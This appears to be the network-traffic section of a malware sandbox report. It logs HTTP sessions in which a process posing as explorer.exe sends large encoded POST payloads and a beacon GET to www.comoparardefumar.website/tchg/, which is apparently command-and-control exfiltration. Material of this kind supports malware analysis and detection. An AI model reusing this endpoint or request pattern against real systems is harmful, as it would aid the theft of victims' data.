May 30, 2023 11:13:06.880937099 CEST	1723	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:05 GMT Content-Type: text/html Content-Length: 2814 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: "afe-56ff9440f72fb" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 37 70 78 3b 0a 7d 0a 70 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>404 File Not Found</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0"><style type="text/css">* { margin: 0; padding: 0;}img { border: 0;}ul { padding-left: 2em;}html { overflow-y: scroll; background: #3b79b7;}body { font-family: "", Meiryo, " ", "MS PGothic", " Pro W3", "Hiragino Kaku Gothic Pro", sans-serif; margin: 0; line-height: 1.4; font-size: 75%; text-align: center; color: white;}h1 { font-size: 24px; font-weight: bold;}h1 { font-weight: bold; line-height: 1; padding-bottom: 20px; font-family: Helvetica, sans-serif;}h2 { text-align: center; font-weight: bold; font-size: 27px;}p { text-align: center; font-size: 14px; margin: 0; padding: 0; color: white;}
May 30, 2023 11:13:06.881012917 CEST	1724	IN	Data Raw: 2e 65 78 70 6c 61 69 6e 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 Data Ascii: .explain { border-top: 1px solid #fff; border-bottom: 1px solid #fff; line-height: 1.5; margin: 30px auto; padding: 17px;}#cause { text-align: left;}#cause li { color: #666;}h3 { letter-spacing: 1px; f
May 30, 2023 11:13:06.881069899 CEST	1725	IN	Data Raw: a4 bf a5 da a1 bc a5 b8 a4 cf b8 ab a4 c4 a4 ab a4 ea a4 de a4 bb a4 f3 a4 c7 a4 b7 a4 bf a1 a3 3c 2f 68 32 3e 0a 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 78 70 6c 61 69 6e 22 3e a4 b3 a4 ce a5 a8 a5 e9 a1 bc a4 cf a1 a2 bb d8 c4 ea a4 b7 a4 Data Ascii: </h2> <p class="explain"></p> <h3></h3> <div id="white_box"> <div id="cause"> <ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.11.20	49851	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:11.917148113 CEST	1726	OUT	POST /tchg/ HTTP/1.1 Host: www.comoparardefumar.website Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.comoparardefumar.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.comoparardefumar.website/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 37 35 62 76 39 62 61 59 75 68 35 6e 73 30 78 57 67 44 46 37 65 62 50 34 37 73 64 4c 4f 57 62 2d 39 4d 59 44 65 54 6d 4e 4d 71 34 56 32 63 30 38 50 4c 47 56 4b 67 49 36 46 37 31 62 7a 4c 64 56 30 5f 72 79 67 50 72 66 53 56 6c 5a 55 63 35 77 63 6e 4d 54 47 41 4b 49 72 6e 67 47 74 38 54 55 55 43 6f 61 77 64 58 56 4f 42 34 64 66 71 77 68 74 57 48 59 4d 4f 66 42 4d 6c 4f 58 58 74 69 36 47 49 7a 59 43 6f 66 31 48 6c 74 33 79 6c 41 79 4d 48 71 37 44 6b 57 6a 7a 59 30 2d 71 63 45 33 4c 74 6c 59 37 56 62 36 51 77 64 51 57 69 68 69 6d 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=75bv9baYuh5ns0xWgDF7ebP47sdLOWb-9MYDeTmNMq4V2c08PLGVKgI6F71bzLdV0_rygPrfSVlZUc5wcnMTGAKIrngGt8TUUCoawdXVOB4dfqwhtWHYMOfBMlOXXti6GIzYCof1Hlt3ylAyMHq7DkWjzY0-qcE3LtlY7Vb6QwdQWihimw).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.11.20	49852	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:14.463608980 CEST	1727	OUT	POST /tchg/ HTTP/1.1 Host: www.comoparardefumar.website Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.comoparardefumar.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.comoparardefumar.website/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 37 35 62 76 39 62 61 59 75 68 35 6e 71 55 68 57 6d 6b 52 37 4f 4c 50 37 6e 38 64 4c 48 32 62 36 39 4d 55 44 65 53 54 4b 4d 34 63 56 31 39 45 38 65 5f 53 56 4a 67 49 36 4e 62 31 65 72 72 64 65 30 5f 6e 51 67 4e 28 66 53 56 78 5a 56 76 78 77 61 58 4d 51 65 77 4b 4a 38 58 67 46 70 38 54 65 55 46 67 73 77 66 72 56 4f 77 6b 64 65 76 45 68 70 48 48 58 62 65 66 44 45 46 4f 57 63 4e 69 4f 47 49 76 68 43 70 58 44 48 54 64 33 7a 46 67 79 50 48 71 36 61 45 57 75 73 6f 31 5f 71 38 46 54 4a 2d 56 37 69 32 33 6c 5a 43 34 38 63 7a 77 73 35 2d 73 6d 37 45 69 6d 43 61 57 34 36 6e 45 63 37 66 66 31 39 78 49 52 30 79 49 56 4c 49 78 61 69 4e 6e 63 4a 58 50 68 63 67 35 62 74 34 33 56 4c 53 39 7a 62 5a 58 71 6d 59 7a 72 32 46 5a 62 46 38 54 62 6f 32 32 70 7e 49 53 74 4a 54 52 37 73 44 72 57 33 63 4a 6d 57 4a 4b 38 44 78 6a 72 50 74 62 6c 62 52 78 67 6f 6f 69 62 7a 44 45 45 49 63 35 5a 52 48 32 43 66 4f 67 38 4d 38 31 6e 6d 7a 37 47 5a 36 6f 38 48 68 78 46 52 4c 51 64 4f 59 73 49 35 51 4b 63 4b 53 59 4f 57 6f 38 4a 56 31 42 36 68 35 49 32 72 6a 6a 4a 57 55 56 4d 35 58 77 71 68 39 4e 39 48 6d 6e 48 7a 41 6a 4f 75 55 45 43 35 5a 42 67 79 43 74 47 56 38 6e 53 7e 35 30 41 6e 51 39 58 69 58 51 53 45 38 48 63 55 75 50 34 50 48 65 57 6a 44 30 61 35 30 52 73 65 54 28 30 49 50 42 61 6a 65 5a 49 73 72 43 43 51 49 6f 39 72 53 4b 6d 4f 37 41 69 59 54 78 4b 69 47 33 57 58 34 6e 43 30 4f 43 37 31 62 38 47 39 55 64 69 72 50 66 57 6b 66 52 4b 42 45 4e 65 53 71 42 48 63 6a 32 38 6b 4a 6a 47 28 46 6c 6a 6b 6a 41 6b 7a 67 49 37 78 77 46 51 67 6b 6d 57 44 63 78 35 77 61 34 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=75bv9baYuh5nqUhWmkR7OLP7n8dLH2b69MUDeSTKM4cV19E8e_SVJgI6Nb1errde0_nQgN(fSVxZVvxwaXMQewKJ8XgFp8TeUFgswfrVOwkdevEhpHHXbefDEFOWcNiOGIvhCpXDHTd3zFgyPHq6aEWuso1_q8FTJ-V7i23lZC48czws5-sm7EimCaW46nEc7ff19xIR0yIVLIxaiNncJXPhcg5bt43VLS9zbZXqmYzr2FZbF8Tbo22p~IStJTR7sDrW3cJmWJK8DxjrPtblbRxgooibzDEEIc5ZRH2CfOg8M81nmz7GZ6o8HhxFRLQdOYsI5QKcKSYOWo8JV1B6h5I2rjjJWUVM5Xwqh9N9HmnHzAjOuUEC5ZBgyCtGV8nS~50AnQ9XiXQSE8HcUuP4PHeWjD0a50RseT(0IPBajeZIsrCCQIo9rSKmO7AiYTxKiG3WX4nC0OC71b8G9UdirPfWkfRKBENeSqBHcj28kJjG(FljkjAkzgI7xwFQgkmWDcx5wa4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.11.20	49853	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:17.009413958 CEST	1730	OUT	POST /tchg/ HTTP/1.1 Host: www.comoparardefumar.website Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.comoparardefumar.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.comoparardefumar.website/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 37 35 62 76 39 62 61 59 75 68 35 6e 71 55 68 57 6d 6b 52 37 4f 4c 50 37 6e 38 64 4c 48 32 62 36 39 4d 55 44 65 53 54 4b 4d 34 55 56 31 50 67 38 50 6f 7e 56 49 67 49 36 4f 62 31 6c 72 72 64 50 30 38 58 55 67 4e 7a 50 53 57 4a 5a 56 38 4a 77 61 6c 55 51 62 77 4b 4b 77 33 67 48 74 38 54 4b 55 43 6f 6a 77 66 28 76 4f 42 67 64 66 76 30 68 74 30 76 59 44 65 66 42 45 46 50 58 59 4e 69 47 47 49 37 71 43 70 62 44 48 52 5a 33 79 33 59 79 4f 51 7e 36 4f 45 57 76 6d 49 31 73 6a 63 46 6d 4a 2d 42 46 69 32 33 66 5a 42 30 38 63 7a 51 73 34 34 6b 6c 37 6b 69 6d 42 61 57 37 7e 6e 41 51 37 66 7a 39 39 79 55 52 30 30 6f 56 4c 6f 78 61 6e 76 50 66 65 48 50 37 4f 51 35 49 37 49 37 4e 4c 53 34 4b 62 59 7a 71 6d 49 6e 72 32 30 5a 62 41 59 50 62 33 6d 32 72 78 6f 53 2d 66 6a 52 5f 73 44 62 38 33 64 70 32 57 4f 4b 38 44 54 72 72 5a 34 6e 69 5a 78 78 6d 6b 49 6a 50 69 54 49 59 49 59 64 46 52 48 32 53 66 4b 59 38 4c 50 74 6e 68 32 50 5a 61 71 6f 5f 53 52 78 51 47 62 63 70 4f 63 30 41 35 54 61 79 4b 52 30 4f 58 49 38 4a 51 55 42 31 72 4a 49 78 6b 44 69 51 4c 45 55 54 35 58 74 44 68 38 34 4b 48 57 44 48 7a 77 7a 4f 72 45 45 46 38 35 42 6b 6b 79 74 45 65 63 6e 53 7e 35 34 2d 6e 51 78 58 69 6c 41 53 45 4c 37 63 66 5a 54 34 4e 48 65 59 6a 44 31 65 35 30 4e 32 65 51 66 4b 49 50 78 77 6a 63 56 49 69 61 53 43 54 4d 38 69 75 69 4b 6a 4b 37 41 78 57 7a 74 52 69 47 72 4f 58 34 58 38 30 38 57 37 30 62 4d 47 35 55 64 74 67 50 65 65 6a 66 51 53 46 45 77 64 53 73 6c 74 63 6a 79 73 6b 4c 54 47 75 41 35 36 7a 42 45 59 71 6a 30 36 37 6e 68 64 7e 58 65 71 5a 65 4e 79 6d 50 32 45 79 30 34 33 4b 53 76 7a 38 44 37 38 6b 34 35 4c 6f 65 4f 5a 4f 43 28 6b 73 68 39 76 78 78 51 34 74 42 66 6c 5a 75 57 72 61 2d 51 52 73 33 5a 51 62 44 39 6d 6c 37 6a 75 65 56 44 62 28 67 4c 67 45 58 79 69 55 56 6e 38 7e 74 79 32 33 73 7e 43 6a 71 79 52 64 32 4c 75 57 78 66 4e 6b 75 77 5f 34 5f 7a 44 52 4d 52 4a 34 34 74 7a 4b 75 78 69 4f 51 5a 58 33 52 4a 65 30 33 78 70 41 34 52 77 41 78 74 44 4c 47 6a 62 58 64 75 34 73 4a 45 45 58 4d 59 78 54 4a 45 6e 55 47 4c 39 70 37 7a 76 73 47 59 49 66 62 75 75 56 53 75 65 54 77 73 6d 6d 7a 32 65 4c 77 52 56 32 74 79 30 37 65 6c 43 46 57 41 46 73 51 7a 48 79 4a 6e 44 64 71 63 62 77 63 72 50 36 41 59 68 59 4f 52 47 63 45 64 54 36 4a 48 6d 7a 78 55 78 57 6c 45 6c 38 65 37 67 43 69 63 62 4b 51 51 6c 53 31 36 33 77 76 59 43 44 43 35 77 62 44 67 57 69 53 28 5f 72 66 56 42 7a 76 37 67 33 48 45 48 78 50 4b 41 48 52 71 62 54 57 30 35 59 39 70 4d 59 74 55 51 67 57 70 31 53 32 56 41 4d 32 72 65 77 64 4b 35 51 64 74 6b 71 78 4a 43 68 77 38 62 57 53 56 47 55 78 78 30 61 59 64 75 6d 6d 47 4b 51 50 38 55 77 34 66 57 58 4f 77 36 5a 65 50 71 73 65 78 44 37 56 35 47 61 6e 37 39 32 6c 69 67 42 5a 4b 67 53 59 43 44 30 53 67 44 77 33 41 65 74 6d 62 42 6a 31 7e 41 66 5a 42 4f 4a 79 41 50 28 39 51 6e 48 41 67 76 63 7a 31 66 4d 33 45 76 49 47 54 6b 43 50 7a 68 37 4f 6f 33 5a 4b 4a 44 48 4c 79 53 39 63 37 74 4b 56 5a 32 70 4c 57 63 73 61 73 43 33 67 62 75 52 52 67 65 6f 64 68 6f 79 4c 70 33 4a 37 63 48 54 4d 64 71 31 67 70 31 61 64 31 48 56 59 56 6e 47 54 7e 31 4d 66 6c 6a 57 4b 34 44 73 66 33 63 54 77 61 66 72 69 53 73 42 51 4b 6e 43 36 58 6e 4a 69 37 4c 54 33 51 61 71 42 31 42 72 36 61 59 68 61 54 4f 43 4b 6b 31 57 54 7a 4b 62 63 66 38 6c 39 39 74 4a 57 66 45 42 77 4c 74 46 4c 61 71 57 30 37 4d 42 44 71 61 72 37 4e 50 28 44 37 35 75 62 7e 78 6b 53 6d 39 67 6a 54 59 49 51 38 4d 34 39 68 71 4b 78 74 43 54 4a 4e 37 79 58 55 54 47 39 68 5f 54 6c 43 4d 73 64 4f 43 53 67 6f 32 33 69 4f 66 4e 4f 45 52 34 56 73 49 56 39 44 55 67 72 75 64 74 6a 62 61 77 73 5a 49 39 30 75 6f 6c 61 61 54 6a 46 55 72 37 66 47 76 6d 51 76 50 4c 43 6d 64 37 4f 63 35 49 43 64 36 76 73 45 68 41 67 63 30 4c 77 66 78 51 73 4c 76 63 78 64 72 34 57 55 6d 52 62 48 6d 35 7a 53 53 43 75 59 5a 74 49 42 52 50 32 7e 48 46 52 33 69 73 41 4f 4f 4e 62 75 46 33 4e 35 72 36 59 66 51 65 68 53 43 4a 34 53 33 46 38 74 44 4f 4e 74 31 59 6a 76 33 7e 49 5a 52 36 42 48 4f 35 5f 5a 6c 71 5a 28 71 78 69 57 71 65 6c 43 4f 6c 69 4f 54 46 72 79 2d 6a 73 6b 67 32 64 31 43 57 69 63 43 43 34 55 50 6b 55 79 33 69 Data Ascii: O0qEM=75bv9baYuh5nqUhWmkR7OLP7n8dLH2b69MUDeSTKM4UV1Pg8Po~VIgI6Ob1lrrdP08XUgNzPSWJZV8JwalUQbwKKw3gHt8TKUCojwf(vOBgdfv0ht0vYDefBEFPXYNiGGI7qCpbDHRZ3y3YyOQ~6OEWvmI1sjcFmJ-BFi23fZB08czQs44kl7kimBaW7~nAQ7fz99yUR00oVLoxanvPfeHP7OQ5I7I7NLS4KbYzqmInr20ZbAYPb3m2rxoS-fjR_sDb83dp2WOK8DTrrZ4niZxxmkIjPiTIYIYdFRH2SfKY8LPtnh2PZaqo_SRxQGbcpOc0A5TayKR0OXI8JQUB1rJIxkDiQLEUT5XtDh84KHWDHzwzOrEEF85BkkytEecnS~54-nQxXilASEL7cfZT4NHeYjD1e50N2eQfKIPxwjcVIiaSCTM8iuiKjK7AxWztRiGrOX4X808W70bMG5UdtgPeejfQSFEwdSsltcjyskLTGuA56zBEYqj067nhd~XeqZeNymP2Ey043KSvz8D78k45LoeOZOC(ksh9vxxQ4tBflZuWra-QRs3ZQbD9ml7jueVDb(gLgEXyiUVn8~ty23s~CjqyRd2LuWxfNkuw_4_zDRMRJ44tzKuxiOQZX3RJe03xpA4RwAxtDLGjbXdu4sJEEXMYxTJEnUGL9p7zvsGYIfbuuVSueTwsmmz2eLwRV2ty07elCFWAFsQzHyJnDdqcbwcrP6AYhYORGcEdT6JHmzxUxWlEl8e7gCicbKQQlS163wvYCDC5wbDgWiS(_rfVBzv7g3HEHxPKAHRqbTW05Y9pMYtUQgWp1S2VAM2rewdK5QdtkqxJChw8bWSVGUxx0aYdummGKQP8Uw4fWXOw6ZePqsexD7V5Gan792ligBZKgSYCD0SgDw3AetmbBj1~AfZBOJyAP(9QnHAgvcz1fM3EvIGTkCPzh7Oo3ZKJDHLyS9c7tKVZ2pLWcsasC3gbuRRgeodhoyLp3J7cHTMdq1gp1ad1HVYVnGT~1MfljWK4Dsf3cTwafriSsBQKnC6XnJi7LT3QaqB1Br6aYhaTOCKk1WTzKbcf8l99tJWfEBwLtFLaqW07MBDqar7NP(D75ub~xkSm9gjTYIQ8M49hqKxtCTJN7yXUTG9h_TlCMsdOCSgo23iOfNOER4VsIV9DUgrudtjbawsZI90uolaaTjFUr7fGvmQvPLCmd7Oc5ICd6vsEhAgc0LwfxQsLvcxdr4WUmRbHm5zSSCuYZtIBRP2~HFR3isAOONbuF3N5r6YfQehSCJ4S3F8tDONt1Yjv3~IZR6BHO5_ZlqZ(qxiWqelCOliOTFry-jskg2d1CWicCC4UPkUy3i8q1zO1dYG7S9MOYJyVcRESI~wIKS9ZHGSuVhiLR4Cw63z1ozAnPSOnYqRkaXHdHrFkJagRiea3CT8wwUv4tIdrrIIFnipvUMaecIh8qn-UVk5QXTuEzg2CtihWCG240pl2n2XKtOpbwOQfIyTZV0SJWR6nx93z76y39HpOUGBX75-JblzhIrEaXfNW7PQj1Lqt63srbAHsHEhoTDUY5c2vhXA2_BEEy4S4T5aMprqd-1ZYNBFkBJ8S8bP15XQ33vMwQUcZBg42QdhH2tDYu5w~7SzEjs3vPuqXkZt(oTBJciM3QbjaQm7PhfxAazC5iIy8pG2qLUPekmw8wpibWNFPisrSjeRAc~7lge0Us687Q0FHI1OIgLYoK2oFAUzB4GnxJTMd2GwZa(R(ePDBcUHkBsv32~hw5o8B2Xa18u92eWAFbGex4JN8jV8d6uTwrlwNEQ8jbvztmT1aWh33ZNxwbQXThcYYWSaq_hckulqzjE0u-J_v1abG5b8m0kU4DblD6BzoP41vu1RFln7HaOUEWiWQIUSW6hL0F6L~SXVnyi9z6h1ueX9S7vCJO4S1EhZhGKDTEnvSlinGySzO1OsXHeYcPWd0mwL(0vPMsQTfN0_RLqskvXy2XrNCPfFIeckxrt7fWldHCf9X71StbLbo4oZIBeXxc9NentnTvXd4GpIcvLYJ1ZWG5u_Z14AgdFFy5xmLxTq92(1lnWMyEoOfnZU02m7QngCNo4XXBDs3qIj55d5s81lizWfPFbHhbctwduYb1YONF
May 30, 2023 11:13:17.009474039 CEST	1740	OUT	Data Raw: 38 4a 33 6a 52 39 58 79 39 6e 70 61 55 45 75 2d 39 35 33 74 75 74 6d 36 68 72 5a 56 7e 33 62 76 38 73 58 55 77 5a 57 38 48 4d 51 41 61 55 78 73 37 37 72 63 41 39 59 66 79 64 69 5a 58 77 43 6c 78 4e 34 58 38 2d 49 6c 71 62 78 36 6e 48 4f 75 39 44 Data Ascii: 8J3jR9Xy9npaUEu-953tutm6hrZV~3bv8sXUwZW8HMQAaUxs77rcA9YfydiZXwClxN4X8-Ilqbx6nHOu9DaGLNmSJbKAn-J0codRw2YBXDhVfrdkW1Ve7Dt7H1FUd1ve~NHEgE~VwPeZtAwUBAAny_ptse(aYwooNpW1b0KjPaATTDzg1VImijEadV9qLFocAORNuFNP32epjk8D5VeTeFYiolaWQQLtE5NRzPXoz0FDx_skc2J
May 30, 2023 11:13:17.037585020 CEST	1744	OUT	Data Raw: 69 5f 66 30 4e 63 74 63 4a 4e 43 47 55 76 39 75 4f 78 33 4b 73 78 6e 58 30 75 56 48 54 47 68 76 66 4e 4e 6a 48 56 77 50 33 33 74 41 7a 54 47 52 75 6e 63 69 41 46 53 74 6c 74 6a 64 6b 72 5a 67 77 6f 31 74 6b 59 4a 35 4a 51 66 38 5a 62 56 73 67 6d Data Ascii: i_f0NctcJNCGUv9uOx3KsxnX0uVHTGhvfNNjHVwP33tAzTGRunciAFStltjdkrZgwo1tkYJ5JQf8ZbVsgm7WXYcb~AdTFFpuB-cTtRweYkWkV1pFcN3bxBSUC07-Lo4LxIOzEAhQIsIdg0zONXpC4imVdN7HCDFA4A1lUEzCta0irjTImVHRZC0hhE5AmNnzoWLS(qLwZGbmCm97uqPNkC4ObxyHbusCcmh8qyT4V_gNndaw45u
May 30, 2023 11:13:17.037662983 CEST	1753	OUT	Data Raw: 4e 58 4a 6b 34 74 68 34 50 49 45 52 70 32 71 7a 63 79 77 6f 4c 46 66 70 34 55 57 49 46 31 34 35 45 7a 4b 76 56 30 6e 74 78 54 49 48 72 4a 4c 55 52 75 74 5f 58 79 76 65 53 4a 50 5a 4c 48 6e 72 50 66 42 68 35 38 34 79 35 58 55 59 6e 49 79 36 57 4a Data Ascii: NXJk4th4PIERp2qzcywoLFfp4UWIF145EzKvV0ntxTIHrJLURut_XyveSJPZLHnrPfBh584y5XUYnIy6WJQbV2pW(x2EaWNLwppS5M3zr5mtRwMucXMDA-K0bNZYfs4bRy0LJV3is-saZDujn82_hL756seOn4R4(r2d2cw7yYeTyJKH5Tlyk8iuMUTkOHHWsIGrM5v-gyRUKgzJSJJ-6uF31MjwzC8PI2Lc0k~3LFR7K-sNbAP

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.11.20	49854	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:19.555170059 CEST	1753	OUT	GET /tchg/?O0qEM=27zP+uSjjQlLnilOnGJCOrnozMlpBRLg3OEmXmWOVdAdyewLZJq+JAgQDNVT6O1S8K/UhNHecCZNR/ARSVl+YwbS8ARBrMbIDw==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.comoparardefumar.website Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:13:19.583468914 CEST	1755	IN	HTTP/1.1 200 OK Server: hcdn Date: Tue, 30 May 2023 09:13:19 GMT Content-Type: text/html Content-Length: 10066 Connection: close Vary: Accept-Encoding x-hcdn-request-id: cb53be45f16dcff44f3a5f2a86f94903-fast-edge1 Expires: Tue, 30 May 2023 09:13:18 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 32 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 